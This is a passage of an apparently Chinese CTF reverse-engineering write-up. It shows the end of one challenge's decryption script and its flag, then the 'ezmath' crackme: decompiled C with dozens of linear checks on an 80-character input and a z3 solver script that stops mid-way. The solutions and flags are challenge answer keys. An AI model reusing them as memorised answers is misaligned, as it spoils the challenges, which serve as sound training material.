if len(pre)&amp;gt;=4:
    pre[0]^=0x12; pre[1]^=0x34; pre[2]^=0x56; pre[3]^=0x78
end=len(pre)
while end&amp;gt;0 and pre[end-1]==0:
    end-=1
plain=bytes(pre[:end])
print(plain.decode(&apos;utf-8&apos;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag{jS_1s_veRY_dYn4M1c}&lt;/p&gt;
&lt;h1&gt;5.ezmath&lt;/h1&gt;
&lt;p&gt;IDA打开，main函数如下，遇到这种线性计算，我们可以使用z3来约束计算&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+68h] [rbp-58h]
  char v5; // [rsp+69h] [rbp-57h]
  char v6; // [rsp+6Ah] [rbp-56h]
  char v7; // [rsp+6Bh] [rbp-55h]
  char v8; // [rsp+6Ch] [rbp-54h]
  char v9; // [rsp+6Dh] [rbp-53h]
  char v10; // [rsp+6Eh] [rbp-52h]
  char v11; // [rsp+6Fh] [rbp-51h]
  char v12; // [rsp+70h] [rbp-50h]
  char v13; // [rsp+71h] [rbp-4Fh]
  char v14; // [rsp+72h] [rbp-4Eh]
  char v15; // [rsp+73h] [rbp-4Dh]
  char v16; // [rsp+74h] [rbp-4Ch]
  char v17; // [rsp+75h] [rbp-4Bh]
  char v18; // [rsp+76h] [rbp-4Ah]
  char v19; // [rsp+77h] [rbp-49h]
  char v20; // [rsp+78h] [rbp-48h]
  char v21; // [rsp+79h] [rbp-47h]
  char v22; // [rsp+7Ah] [rbp-46h]
  char v23; // [rsp+7Bh] [rbp-45h]
  char v24; // [rsp+7Ch] [rbp-44h]
  char v25; // [rsp+7Dh] [rbp-43h]
  char v26; // [rsp+7Eh] [rbp-42h]
  char v27; // [rsp+7Fh] [rbp-41h]
  char v28; // [rsp+80h] [rbp-40h]
  char v29; // [rsp+81h] [rbp-3Fh]
  char v30; // [rsp+82h] [rbp-3Eh]
  char v31; // [rsp+83h] [rbp-3Dh]
  char v32; // [rsp+84h] [rbp-3Ch]
  char v33; // [rsp+85h] [rbp-3Bh]
  char v34; // [rsp+86h] [rbp-3Ah]
  char v35; // [rsp+87h] [rbp-39h]
  char v36; // [rsp+88h] [rbp-38h]
  char v37; // [rsp+89h] [rbp-37h]
  char v38; // [rsp+8Ah] [rbp-36h]
  char v39; // [rsp+8Bh] [rbp-35h]
  char v40; // [rsp+8Ch] [rbp-34h]
  char v41; // [rsp+8Dh] [rbp-33h]
  char v42; // [rsp+8Eh] [rbp-32h]
  char v43; // [rsp+8Fh] [rbp-31h]
  char v44; // [rsp+90h] [rbp-30h]
  char v45; // [rsp+91h] [rbp-2Fh]
  char v46; // [rsp+92h] [rbp-2Eh]
  char v47; // [rsp+93h] [rbp-2Dh]
  char v48; // [rsp+94h] [rbp-2Ch]
  char v49; // [rsp+95h] [rbp-2Bh]
  char v50; // [rsp+96h] [rbp-2Ah]
  char v51; // [rsp+97h] [rbp-29h]
  char v52; // [rsp+98h] [rbp-28h]
  char v53; // [rsp+99h] [rbp-27h]
  char v54; // [rsp+9Ah] [rbp-26h]
  char v55; // [rsp+9Bh] [rbp-25h]
  char v56; // [rsp+9Ch] [rbp-24h]
  char v57; // [rsp+9Dh] [rbp-23h]
  char v58; // [rsp+9Eh] [rbp-22h]
  char v59; // [rsp+9Fh] [rbp-21h]
  char v60; // [rsp+A0h] [rbp-20h]
  char v61; // [rsp+A1h] [rbp-1Fh]
  char v62; // [rsp+A2h] [rbp-1Eh]
  char v63; // [rsp+A3h] [rbp-1Dh]
  char v64; // [rsp+A4h] [rbp-1Ch]
  char v65; // [rsp+A5h] [rbp-1Bh]
  char v66; // [rsp+A6h] [rbp-1Ah]
  char v67; // [rsp+A7h] [rbp-19h]
  char v68; // [rsp+A8h] [rbp-18h]
  char v69; // [rsp+A9h] [rbp-17h]
  char v70; // [rsp+AAh] [rbp-16h]
  char v71; // [rsp+ABh] [rbp-15h]
  char v72; // [rsp+ACh] [rbp-14h]
  char v73; // [rsp+ADh] [rbp-13h]
  char v74; // [rsp+AEh] [rbp-12h]
  char v75; // [rsp+AFh] [rbp-11h]
  char v76; // [rsp+B0h] [rbp-10h]
  char v77; // [rsp+B1h] [rbp-Fh]
  char v78; // [rsp+B2h] [rbp-Eh]
  char v79; // [rsp+B3h] [rbp-Dh]
  char v80; // [rsp+B4h] [rbp-Ch]
  char v81; // [rsp+B5h] [rbp-Bh]
  char v82; // [rsp+B6h] [rbp-Ah]
  char *s; // [rsp+B8h] [rbp-8h]

  if ( argc == 2 )
  {
    s = (char *)argv[1];
    if ( (unsigned int)strlen(s) == 80 )
    {
      v82 = s[1];
      v81 = s[2];
      v80 = s[3];
      v79 = s[4];
      v78 = s[5];
      v77 = s[6];
      v76 = s[7];
      v75 = s[8];
      v74 = s[9];
      v73 = s[10];
      v72 = s[11];
      v71 = s[12];
      v70 = s[13];
      v69 = s[14];
      v68 = s[15];
      v67 = s[16];
      v66 = s[17];
      v65 = s[18];
      v64 = s[19];
      v63 = s[20];
      v62 = s[21];
      v61 = s[22];
      v60 = s[23];
      v59 = s[24];
      v58 = s[25];
      v57 = s[26];
      v56 = s[27];
      v55 = s[28];
      v54 = s[29];
      v53 = s[30];
      v52 = s[31];
      v51 = s[32];
      v50 = s[33];
      v49 = s[34];
      v48 = s[35];
      v47 = s[36];
      v46 = s[37];
      v45 = s[38];
      v44 = s[39];
      v43 = s[40];
      v42 = s[41];
      v41 = s[42];
      v40 = s[43];
      v39 = s[44];
      v38 = s[45];
      v37 = s[46];
      v36 = s[47];
      v35 = s[48];
      v34 = s[49];
      v33 = s[50];
      v32 = s[51];
      v31 = s[52];
      v30 = s[53];
      v29 = s[54];
      v28 = s[55];
      v27 = s[56];
      v26 = s[57];
      v25 = s[58];
      v24 = s[59];
      v23 = s[60];
      v22 = s[61];
      v21 = s[62];
      v20 = s[63];
      v19 = s[64];
      v18 = s[65];
      v17 = s[66];
      v16 = s[67];
      v15 = s[68];
      v14 = s[69];
      v13 = s[70];
      v12 = s[71];
      v11 = s[72];
      v10 = s[73];
      v9 = s[74];
      v8 = s[75];
      v7 = s[76];
      v6 = s[77];
      v5 = s[78];
      v4 = s[79];
      if ( -13 * v32 == 118
        &amp;amp;&amp;amp; 23 * v73 + 47 * *s + 111 * v32 == 51
        &amp;amp;&amp;amp; 76 * v73 + 33 * v32 - 63 * v18 == 81
        &amp;amp;&amp;amp; -86 * v73 - 25 * v41 + 71 * v18 + 102 * v32 == 18
        &amp;amp;&amp;amp; 105 * v73 - 17 * v41 + 74 * v18 - 25 * v32 + v14 == 0x95
        &amp;amp;&amp;amp; 40 * v32 + 104 * v41 + -89 * v75 + 113 * v73 + 107 * v14 - 122 * v18 == 75
        &amp;amp;&amp;amp; 95 * (v78 + v75) + 54 * v73 + -97 * v37 + 24 * v41 + -62 * v18 + 121 * v32 - 72 * v14 == 0xFD
        &amp;amp;&amp;amp; -126 * v32 - 35 * v37 + 66 * v41 - 39 * v71 + 100 * v75 - 46 * v73 + 54 * v14 - 118 * v18 == 82
        &amp;amp;&amp;amp; -56 * v18 + 75 * v30 + -33 * v32 + 110 * v37 + -43 * v41 + 100 * v71 + 12 * v73 - 16 * v75 - 112 * v14 == 0xAC
        &amp;amp;&amp;amp; 79 * v30 - 67 * v32 + 5 * v41 - 77 * v71 + -14 * v73 - 85 * v75 + 63 * v18 + 59 * v23 + 30 * v14 == 51
        &amp;amp;&amp;amp; 63 * v57 + 114 * v71 + 103 * v75 - 33 * v73 + 87 * v37 - 72 * v41 + 104 * v32 - v23 + 39 * v18 == 38
        &amp;amp;&amp;amp; 113 * v29 - 22 * v32 + -83 * v75 + 35 * v71 + 44 * v37 - 126 * v57 + 78 * v18 + 99 * v23 + 112 * v14 == 0xC0
        &amp;amp;&amp;amp; 121 * v36 + 32 * v37 + -24 * v41 - 33 * v57 + -120 * v71 + 71 * v73 + -59 * v23 + 118 * v29 + 117 * v18 == 62
        &amp;amp;&amp;amp; -75 * v73 - (v75 &amp;lt;&amp;lt; 6) + -123 * v41 + 75 * v71 + 54 * v29 + 39 * (v32 + v37) + 83 * v17 - 76 * v18 == 0x89
        &amp;amp;&amp;amp; 116 * v75 + 119 * v43 + 36 * v37 + 74 * v41 + -115 * v32 + 31 * v36 + -125 * v17 - 26 * v30 + 117 * v14 == 86
        &amp;amp;&amp;amp; 6 * v18 - 125 * v30 + 100 * v73 + 53 * v71 + 65 * v41 - 82 * v43 + -111 * v32 + 5 * v37 + 19 * v16 == 0x9D
        &amp;amp;&amp;amp; 13 * v18 + 29 * v23 + -91 * v32 - 45 * v40 + -10 * v41 - 82 * v43 + 117 * v75 - 92 * v57 + 10 * v14 == 0xB3
        &amp;amp;&amp;amp; 83 * v17 - 65 * v23 + 73 * v32 + 57 * v37 + 44 * v40 - 81 * v43 + 13 * v73 - 49 * v74 - 48 * v14 == 0x8D
        &amp;amp;&amp;amp; -76 * v23 - 11 * v29 + 102 * v75 - 46 * v73 + 31 * v52 + 20 * v71 + 8 * v37 - 21 * v43 + 37 * v16 == 127
        &amp;amp;&amp;amp; -75 * v32 - 89 * v40 + -6 * v52 - 67 * v57 + 82 * v73 - 117 * v58 + -12 * v23 - 8 * v30 + 55 * v17 == 0xFE
        &amp;amp;&amp;amp; 41 * v16 + 6 * v18 + 56 * v29 + 101 * v33 + -11 * v41 + 23 * v43 + 19 * v73 + 14 * v52 + 25 * v14 == 0xBF
        &amp;amp;&amp;amp; -82 * v37 - 33 * v55 + 77 * v74 - 60 * v73 + 8 * v58 + 52 * v71 + -118 * v33 + 78 * v36 + 39 * v16 == 0xD8
        &amp;amp;&amp;amp; -119 * v37 - 4 * v41 + 103 * v75 - 101 * v73 + 62 * v43 + 117 * v47 + 53 * v16 + 36 * v32 + 65 * v14 == 86
        &amp;amp;&amp;amp; 14 * v23 + 31 * v29 + 56 * v74 - 8 * v71 + -117 * v53 + 118 * v58 - v47 + 56 * v14 - 80 * v17 == 0xD4
        &amp;amp;&amp;amp; 3 * v52 - 121 * v53 + -46 * v55 + 47 * v58 + 104 * v74 + 45 * v60 + 13 * v33 - 49 * v47 + 45 * v29 == 0xCC
        &amp;amp;&amp;amp; -71 * v52 - 47 * v43 + -113 * v33 + 20 * v37 + -25 * v23 - 68 * v32 - v21 + -23 * v17 - 122 * v18 == 98
        &amp;amp;&amp;amp; -74 * v55 + 77 * v58 + 73 * v74 - 20 * v73 + -85 * v37 + 111 * v43 + -109 * v28 + 41 * v33 + 29 * v17 == 0x94
        &amp;amp;&amp;amp; 53 * v33 - 26 * v37 + -90 * v40 - 69 * v51 + -26 * v55 - 114 * v53 + -27 * v28 - 95 * v32 + 87 * v14 == 38
        &amp;amp;&amp;amp; -19 * v28 + 16 * v29 + 86 * v30 + 50 * v33 + 75 * v60 - 32 * v58 + -71 * v37 + 96 * v56 + 109 * v8 + 83 * v17 == 0xA8
        &amp;amp;&amp;amp; 33 * v32 + 89 * v36 + -27 * v81 - 56 * v71 + -101 * v37 + 19 * v53 + -97 * v16 - 110 * v29 - 59 * v8 == 82
        &amp;amp;&amp;amp; 119 * v69 + 31 * v71 + -110 * v81 + 102 * v73 + -67 * v52 + 15 * v57 + 62 * v14 + 86 * v47 - 97 * v8 == 46
        &amp;amp;&amp;amp; 30 * v53 + 107 * v66 + 62 * v81 - 115 * v69 + 77 * v30 + 57 * v47 + 122 * v21 - 30 * v23 - 107 * v18 == 76
        &amp;amp;&amp;amp; 33 * v29 - 71 * v32 + 75 * v34 - 104 * v51 + 86 * v69 + 124 * v57 + -78 * v21 + 93 * v28 - 92 * v14 == 23
        &amp;amp;&amp;amp; 114 * v36 + 43 * v47 + 63 * v51 - 70 * v52 + -37 * v69 - 82 * v58 + -5 * v17 - 114 * v21 - 101 * v10 == 16
        &amp;amp;&amp;amp; -7 * v13 - 29 * v16 + 76 * v34 + 12 * v43 + 68 * v73 + (v52 &amp;lt;&amp;lt; 7) + -94 * v17 + 13 * v28 + 123 * v10 == 68
        &amp;amp;&amp;amp; -97 * v26 + 119 * v28 + -14 * v29 - 37 * v34 + 115 * v51 - 17 * v52 + -3 * v57 + 106 * v55 + 3 * v14 == 117
        &amp;amp;&amp;amp; -102 * v48
         - 122 * v52
         + 40 * v60
         + 113 * v69
         + -72 * v43
         - 58 * v47
         + -44 * v36
         + 18 * v40
         + 25 * v15
         - 54 * v17 == 21
        &amp;amp;&amp;amp; 54 * v69 - 97 * v75 + -15 * v37 + 69 * v61 + -109 * v32 + (v33 &amp;lt;&amp;lt; 7) + -44 * v13 + 9 * v26 - 44 * v8 == 95
        &amp;amp;&amp;amp; 6 * v32 - 79 * v40 + 28 * v60 - 46 * v58 + -85 * v53 + 91 * v57 + -21 * v44 + 65 * v46 + 50 * v10 + 35 * v26 == 0x81
        &amp;amp;&amp;amp; 28 * v13 - 84 * v23 + -22 * v71 - 51 * v60 + 95 * v51 + 49 * v59 + 91 * v28 + 15 * v45 + 101 * v8 + 69 * v10 == 0xB1
        &amp;amp;&amp;amp; 27 * v81 - 44 * v71 + 95 * v43 + 60 * v58 + 4 * v23 - 13 * v32 + 112 * v8 - 54 * v18 - 21 * v6 == 0xAA
        &amp;amp;&amp;amp; -113 * v57 + 16 * v60 + -107 * v66 + 123 * v64 + -85 * v43 + 109 * v52 + 58 * v14 - (v30 &amp;lt;&amp;lt; 6) + 59 * v8 == 13
        &amp;amp;&amp;amp; -107 * v14 + 62 * v17 + 110 * v28 - 99 * v49 + 103 * v75 + 72 * v66 + 4 * v51 + 114 * v59 + 81 * v6 == 68
        &amp;amp;&amp;amp; 51 * v24 + 55 * v40 + 20 * v47 - 116 * v53 + 106 * v73 - 94 * v66 + -30 * v14 - 5 * v15 + 93 * v13 == 56
        &amp;amp;&amp;amp; 87 * v74 - 45 * v65 + 72 * v53 - 11 * v61 + -115 * v23 - 9 * v43 + 37 * v13 + 109 * v17 - 70 * v6 == 119
        &amp;amp;&amp;amp; 123 * v44 + 52 * v51 + -112 * v66 - 111 * v67 + -11 * v75 - 4 * v73 + -2 * v8 - 98 * v14 - 17 * v6 == 0xA0
        &amp;amp;&amp;amp; 119 * v74 + 112 * v73 + 24 * v67 + 95 * v72 + -63 * v53 + 112 * v60 + -107 * v32 - 48 * v49 - 24 * v13 == 118
        &amp;amp;&amp;amp; -64 * v30 - 125 * v43 + 59 * v53 - 52 * v55 + 31 * v64 + 28 * v66 + 52 * v17 - 53 * v24 + 35 * v12 == 90
        &amp;amp;&amp;amp; 70 * v36 + 101 * v51 + 13 * v61 + 53 * v62 + -31 * v74 - 25 * v64 + -4 * v29 + 110 * v34 - 73 * v14 == 0x89
        &amp;amp;&amp;amp; 45 * v14 + 41 * v18 + 29 * v67 - 75 * v66 + 75 * v28 + 110 * v29 + -65 * v8 + 12 * v10 - 45 * v4 == 54
        &amp;amp;&amp;amp; 66 * v75 + 84 * v57 + -91 * v43 - 32 * v53 + -91 * v28 + 39 * v34 + 56 * v10 - 56 * v13 - 15 * v7 == 63
        &amp;amp;&amp;amp; 116 * v47 + 79 * v61 + -68 * v71 + 115 * v69 + -53 * v35 + 54 * v41 + 61 * v26 + 72 * v34 + 125 * v24 == 0xDD
        &amp;amp;&amp;amp; 57 * v82 + 35 * v73 + -13 * v61 - 62 * v69 + -52 * v35 - 84 * v47 + -35 * v14 + 73 * v28 + 97 * v6 == 0xD7
        &amp;amp;&amp;amp; -103 * v34 + 38 * v37 + 27 * v42 - 8 * v51 + -46 * v66 + 6 * v67 + 110 * v24 - 53 * v32 - 125 * v8 == 0xFD
        &amp;amp;&amp;amp; 126 * v35 + 94 * v40 + -13 * v41 + 57 * v42 + 33 * v76 - 75 * v69 + 94 * v12 - 65 * v33 - 98 * v7 == 0xBD
        &amp;amp;&amp;amp; 84 * v23 + 99 * v28 + -92 * v32 - 104 * v33 + -23 * v73 - 8 * v67 + -48 * v7 - 73 * v19 + 56 * v4 == 127
        &amp;amp;&amp;amp; -33 * v21 - 82 * v23 + 66 * v32 - 51 * v40 + 38 * v61 + 86 * v73 - 77 * v80 + v55 - 24 * v7 == 11
        &amp;amp;&amp;amp; 75 * v21 - 122 * v34 + -12 * v49 + 62 * v60 + 4 * (45 * v76 + v67) - 21 * v64 + -48 * v17 + 115 * v20 == 29
        &amp;amp;&amp;amp; -40 * v81 - 115 * v71 + -30 * v60 - 13 * v62 + 113 * v53 + 96 * v57 + 63 * v27 + 119 * v33 - 78 * v19 == 78
        &amp;amp;&amp;amp; -93 * v27 - 113 * v59 + 58 * v61 - 23 * v66 + -113 * v71 - 110 * v73 + -117 * v77 - 36 * v75 - 5 * v26 == 35
        &amp;amp;&amp;amp; -90 * v20 + 51 * v59 + -44 * v82 + 85 * v75 + 11 * v67 - 51 * v68 + v65 + 50 * v12 + 114 * v15 == 4
        &amp;amp;&amp;amp; 43 * v30 + 67 * v35 + 80 * v36 + 51 * v44 + -13 * v62 - 90 * v52 - v63 + 25 * v14 + 89 * v27 == 11
        &amp;amp;&amp;amp; 91 * v21 - 117 * v26 + 28 * v32 + 109 * v36 + 38 * v44 - 97 * v54 + 3 * v75 - 123 * v62 - 112 * v4 == 104
        &amp;amp;&amp;amp; -113 * v34 - 75 * v36 + 13 * v37 - 121 * v58 + 43 * v69 - 41 * v62 + -123 * v17 - 31 * v22 - 83 * v16 == 123
        &amp;amp;&amp;amp; 106 * v23 - 57 * v27 + 90 * v29 + 115 * v37 + 48 * v53 + 33 * *s + 94 * v7 + 90 * v8 + 87 * v6 == 106
        &amp;amp;&amp;amp; -93 * v38 - 52 * v41 + 45 * v71 + 38 * v52 + 54 * v20 - 13 * v27 + -51 * v18 + 96 * v19 + 109 * v13 == 20
        &amp;amp;&amp;amp; 84 * v52 + -22 * v64 + 23 * v68 + v51 + -110 * v33 - 39 * v39 + 34 * v16 + 21 * v18 - 59 * v7 == 0x8C
        &amp;amp;&amp;amp; 87 * v21 + 63 * v24 + 55 * v33 + 12 * v35 + -100 * v67 - 3 * v60 + -51 * v9 + 3 * v20 - 106 * v4 == 69
        &amp;amp;&amp;amp; 100 * v20 - 93 * v23 + -48 * v76 + 61 * v56 + 95 * v28 + 37 * v33 + 81 * v16 + 39 * v18 + 93 * v6 == 0xAB
        &amp;amp;&amp;amp; -21 * v26 - 84 * v39 + -8 * v40 + 74 * v51 + -95 * v69 - 125 * v57 + -89 * v24 - 79 * v25 + 39 * v21 == 1
        &amp;amp;&amp;amp; 96 * v67 + 20 * v73 + -60 * v61 - 54 * v64 + 103 * v48 - 16 * v57 + 93 * v37 - 13 * v40 + 116 * v22 == 11
        &amp;amp;&amp;amp; 99 * v79 + 30 * v67 + -78 * v53 + 97 * v57 + 16 * v42 - 49 * v44 + 69 * v24 - 50 * v34 - 114 * v23 == 48
        &amp;amp;&amp;amp; 102 * v20 - 31 * v28 + 19 * v70 - 91 * v61 + -56 * v52 - 48 * v55 + -50 * v44 + 63 * v49 + 65 * v16 == 0x91
        &amp;amp;&amp;amp; 40 * v16
         - 61 * v21
         + -19 * v28
         - 111 * v31
         + 114 * v32
         + 34 * v57
         + 91 * v80
         - 33 * v59
         + 12 * v10
         - 18 * v11 == 0xC1
        &amp;amp;&amp;amp; -105 * v78 - 11 * v70 + -77 * v67 - 120 * v68 + 123 * v31 - 34 * v64 + -20 * v21 - 14 * v30 + 68 * v9 == 0xF4
        &amp;amp;&amp;amp; -88 * v79 + 66 * v72 + -65 * v44 + 75 * v50 + 23 * v37 + 65 * v38 + -73 * v13 - 79 * v25 + 59 * v10 == 0xAB
        &amp;amp;&amp;amp; -123 * v7 - 7 * v40 + 45 * v46 + 34 * v50 + 106 * v53 + 43 * v64 + -13 * v76 + 7 * v77 - 120 * v4 == 5
        &amp;amp;&amp;amp; -98 * v27 + 11 * v34 + 48 * v71 + 11 * v82 + -8 * v35 + 74 * v39 + 122 * v6 + 65 * v8 + 25 * v5 == 30
        &amp;amp;&amp;amp; 5 * v24 - 110 * v34 + 127 * v47 - 32 * v54 + -118 * v55 + 104 * v81 + v73 + 11 * v11 + 73 * v13 == 0xF0
        &amp;amp;&amp;amp; -86 * v19 + 86 * v33 + -24 * v37 + 112 * v41 + -91 * v45 + 95 * v49 + 5 * v51 - 77 * v63 + 14 * v5 - 69 * v8 == 17 )
      {
        puts(&quot;Correct!&quot;);
        return 0;
      }
      else
      {
        puts(&quot;Nope.&quot;);
        return 1;
      }
    }
    else
    {
      fprintf(_bss_start, &quot;Wrong length (expect %d)\n&quot;, 80);
      return 3;
    }
  }
  else
  {
    fprintf(_bss_start, &quot;Usage: %s \&quot;flag{...}\&quot;\n&quot;, *argv);
    return 2;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解密脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from z3 import *

x = [BitVec(f&apos;x{i:02d}&apos;, 8) for i in range(80)]

def V(k):
    return x[83 - k]

s = Solver()

for i in range(80):
    s.add(x[i] != 0)

s.add(x[0] == ord(&apos;f&apos;))
s.add(x[1] == ord(&apos;l&apos;))
s.add(x[2] == ord(&apos;a&apos;))
s.add(x[3] == ord(&apos;g&apos;))
s.add(x[4] == ord(&apos;{&apos;))

s.add(-13 * V(32) == 118)
s.add(23 * V(73) + 47 * x[0] + 111 * V(32) == 51)
s.add(76 * V(73) + 33 * V(32) - 63 * V(18) == 81)
s.add(-86 * V(73) - 25 * V(41) + 71 * V(18) + 102 * V(32) == 18)
s.add(105 * V(73) - 17 * V(41) + 74 * V(18) - 25 * V(32) + V(14) == 0x95)
s.add(40 * V(32) + 104 * V(41) - 89 * V(75) + 113 * V(73) + 107 * V(14) - 122 * V(18) == 75)
s.add(95 * (V(78) + V(75)) + 54 * V(73) - 97 * V(37) + 24 * V(41) - 62 * V(18) + 121 * V(32) - 72 * V(14) == 0xFD)
s.add(-126 * V(32) - 35 * V(37) + 66 * V(41) - 39 * V(71) + 100 * V(75) - 46 * V(73) + 54 * V(14) - 118 * V(18) == 82)
s.add(-56 * V(18) + 75 * V(30) - 33 * V(32) + 110 * V(37) - 43 * V(41) + 100 * V(71) + 12 * V(73) - 16 * V(75) - 112 * V(14) == 0xAC)
s.add(79 * V(30) - 67 * V(32) + 5 * V(41) - 77 * V(71) - 14 * V(73) - 85 * V(75) + 63 * V(18) + 59 * V(23) + 30 * V(14) == 51)
s.add(63 * V(57) + 114 * V(71) + 103 * V(75) - 33 * V(73) + 87 * V(37) - 72 * V(41) + 104 * V(32) - V(23) + 39 * V(18) == 38)
s.add(113 * V(29) - 22 * V(32) - 83 * V(75) + 35 * V(71) + 44 * V(37) - 126 * V(57) + 78 * V(18) + 99 * V(23) + 112 * V(14) == 0xC0)
s.add(121 * V(36) + 32 * V(37) - 24 * V(41) - 33 * V(57) - 120 * V(71) + 71 * V(73) - 59 * V(23) + 118 * V(29) + 117 * V(18) == 62)
s.add(-75 * V(73) - (V(75) &amp;lt;&amp;lt; 6) - 123 * V(41) + 75 * V(71) + 54 * V(29) + 39 * (V(32) + V(37)) + 83 * V(17) - 76 * V(18) == 0x89)
s.add(116 * V(75) + 119 * V(43) + 36 * V(37) + 74 * V(41) - 115 * V(32) + 31 * V(36) - 125 * V(17) - 26 * V(30) + 117 * V(14) == 86)
s.add(6 * V(18) - 125 * V(30) + 100 * V(73) + 53 * V(71) + 65 * V(41) - 82 * V(43) - 111 * V(32) + 5 * V(37) + 19 * V(16) == 0x9D)
s.add(13 * V(18) + 29 * V(23) - 91 * V(32) - 45 * V(40) - 10 * V(41) - 82 * V(43) + 117 * V(75) - 92 * V(57) + 10 * V(14) == 0xB3)
s.add(83 * V(17) - 65 * V(23) + 73 * V(32) + 57 * V(37) + 44 * V(40) - 81 * V(43) + 13 * V(73) - 49 * V(74) - 48 * V(14) == 0x8D)
s.add(-76 * V(23) - 11 * V(29) + 102 * V(75) - 46 * V(73) + 31 * V(52) + 20 * V(71) + 8 * V(37) - 21 * V(43) + 37 * V(16) == 127)
s.add(-75 * V(32) - 89 * V(40) - 6 * V(52) - 67 * V(57) + 82 * V(73) - 117 * V(58) - 12 * V(23) - 8 * V(30) + 55 * V(17) == 0xFE)
s.add(41 * V(16) + 6 * V(18) + 56 * V(29) + 101 * V(33) - 11 * V(41) + 23 * V(43) + 19 * V(73) + 14 * V(52) + 25 * V(14) == 0xBF)
s.add(-82 * V(37) - 33 * V(55) + 77 * V(74) - 60 * V(73) + 8 * V(58) + 52 * V(71) - 118 * V(33) + 78 * V(36) + 39 * V(16) == 0xD8)
s.add(-119 * V(37) - 4 * V(41) + 103 * V(75) - 101 * V(73) + 62 * V(43) + 117 * V(47) + 53 * V(16) + 36 * V(32) + 65 * V(14) == 86)
s.add(14 * V(23) + 31 * V(29) + 56 * V(74) - 8 * V(71) - 117 * V(53) + 118 * V(58) - V(47) + 56 * V(14) - 80 * V(17) == 0xD4)
s.add(3 * V(52) - 121 * V(53) - 46 * V(55) + 47 * V(58) + 104 * V(74) + 45 * V(60) + 13 * V(33) - 49 * V(47) + 45 * V(29) == 0xCC)
s.add(-71 * V(52) - 47 * V(43) - 113 * V(33) + 20 * V(37) - 25 * V(23) - 68 * V(32) - V(21) - 23 * V(17) - 122 * V(18) == 98)
s.add(-74 * V(55) + 77 * V(58) + 73 * V(74) - 20 * V(73) - 85 * V(37) + 111 * V(43) - 109 * V(28) + 41 * V(33) + 29 * V(17) == 0x94)
s.add(53 * V(33) - 26 * V(37) - 90 * V(40) - 69 * V(51) - 26 * V(55) - 114 * V(53) - 27 * V(28) - 95 * V(32) + 87 * V(14) == 38)
s.add(-19 * V(28) + 16 * V(29) + 86 * V(30) + 50 * V(33) + 75 * V(60) - 32 * V(58) - 71 * V(37) + 96 * V(56) + 109 * V(8) + 83 * V(17) == 0xA8)
s.add(33 * V(32) + 89 * V(36) - 27 * V(81) - 56 * V(71) - 101 * V(37) + 19 * V(53) - 97 * V(16) - 110 * V(29) - 59 * V(8) == 82)
s.add(119 * V(69) + 31 * V(71) - 110 * V(81) + 102 * V(73) - 67 * V(52) + 15 * V(57) + 62 * V(14) + 86 * V(47) - 97 * V(8) == 46)
s.add(30 * V(53) + 107 * V(66) + 62 * V(81) - 115 * V(69) + 77 * V(30) + 57 * V(47) + 122 * V(21) - 30 * V(23) - 107 * V(18) == 76)
s.add(33 * V(29) - 71 * V(32) + 75 * V(34) - 104 * V(51) + 86 * V(69) + 124 * V(57) - 78 * V(21) + 93 * V(28) - 92 * V(14) == 23)
s.add(114 * V(36) + 43 * V(47) + 63 * V(51) - 70 * V(52) - 37 * V(69) - 82 * V(58) - 5 * V(17) - 114 * V(21) - 101 * V(10) == 16)
s.add(-7 * V(13) - 29 * V(16) + 76 * V(34) + 12 * V(43) + 68 * V(73) + (V(52) &amp;lt;&amp;lt; 7) - 94 * V(17) + 13 * V(28) + 123 * V(10) == 68)
s.add(-97 * V(26) + 119 * V(28) - 14 * V(29) - 37 * V(34) + 115 * V(51) - 17 * V(52) - 3 * V(57) + 106 * V(55) + 3 * V(14) == 117)
s.add(-102 * V(48) - 122 * V(52) + 40 * V(60) + 113 * V(69) - 72 * V(43) - 58 * V(47) - 44 * V(36) + 18 * V(40) + 25 * V(15) - 54 * V(17) == 21)
s.add(54 * V(69) - 97 * V(75) - 15 * V(37) + 69 * V(61) - 109 * V(32) + (V(33) &amp;lt;&amp;lt; 7) - 44 * V(13) + 9 * V(26) - 44 * V(8) == 95)
s.add(6 * V(32) - 79 * V(40) + 28 * V(60) - 46 * V(58) - 85 * V(53) + 91 * V(57) - 21 * V(44) + 65 * V(46) + 50 * V(10) + 35 * V(26) == 0x81)
s.add(28 * V(13) - 84 * V(23) - 22 * V(71) - 51 * V(60) + 95 * V(51) + 49 * V(59) + 91 * V(28) + 15 * V(45) + 101 * V(8) + 69 * V(10) == 0xB1)
s.add(27 * V(81) - 44 * V(71) + 95 * V(43) + 60 * V(58) + 4 * V(23) - 13 * V(32) + 112 * V(8) - 54 * V(18) - 21 * V(6) == 0xAA)
s.add(-113 * V(57) + 16 * V(60) - 107 * V(66) + 123 * V(64) - 85 * V(43) + 109 * V(52) + 58 * V(14) - (V(30) &amp;lt;&amp;lt; 6) + 59 * V(8) == 13)
s.add(-107 * V(14) + 62 * V(17) + 110 * V(28) - 99 * V(49) + 103 * V(75) + 72 * V(66) + 4 * V(51) + 114 * V(59) + 81 * V(6) == 68)
s.add(51 * V(24) + 55 * V(40) + 20 * V(47) - 116 * V(53) + 106 * V(73) - 94 * V(66) - 30 * V(14) - 5 * V(15) + 93 * V(13) == 56)
s.add(87 * V(74) - 45 * V(65) + 72 * V(53) - 11 * V(61) - 115 * V(23) - 9 * V(43) + 37 * V(13) + 109 * V(17) - 70 * V(6) == 119)
s.add(123 * V(44) + 52 * V(51) - 112 * V(66) - 111 * V(67) - 11 * V(75) - 4 * V(73) - 2 * V(8) - 98 * V(14) - 17 * V(6) == 0xA0)
s.add(119 * V(74) + 112 * V(73) + 24 * V(67) + 95 * V(72) - 63 * V(53) + 112 * V(60) - 107 * V(32) - 48 * V(49) - 24 * V(13) == 118)
s.add(-64 * V(30) - 125 * V(43) + 59 * V(53) - 52 * V(55) + 31 * V(64) + 28 * V(66) + 52 * V(17) - 53 * V(24) + 35 * V(12) == 90)
s.add(70 * V(36) + 101 * V(51) + 13 * V(61) + 53 * V(62) - 31 * V(74) - 25 * V(64) - 4 * V(29) + 110 * V(34) - 73 * V(14) == 0x89)
s.add(45 * V(14) + 41 * V(18) + 29 * V(67) - 75 * V(66) + 75 * V(28) + 110 * V(29) - 65 * V(8) + 12 * V(10) - 45 * V(4) == 54)
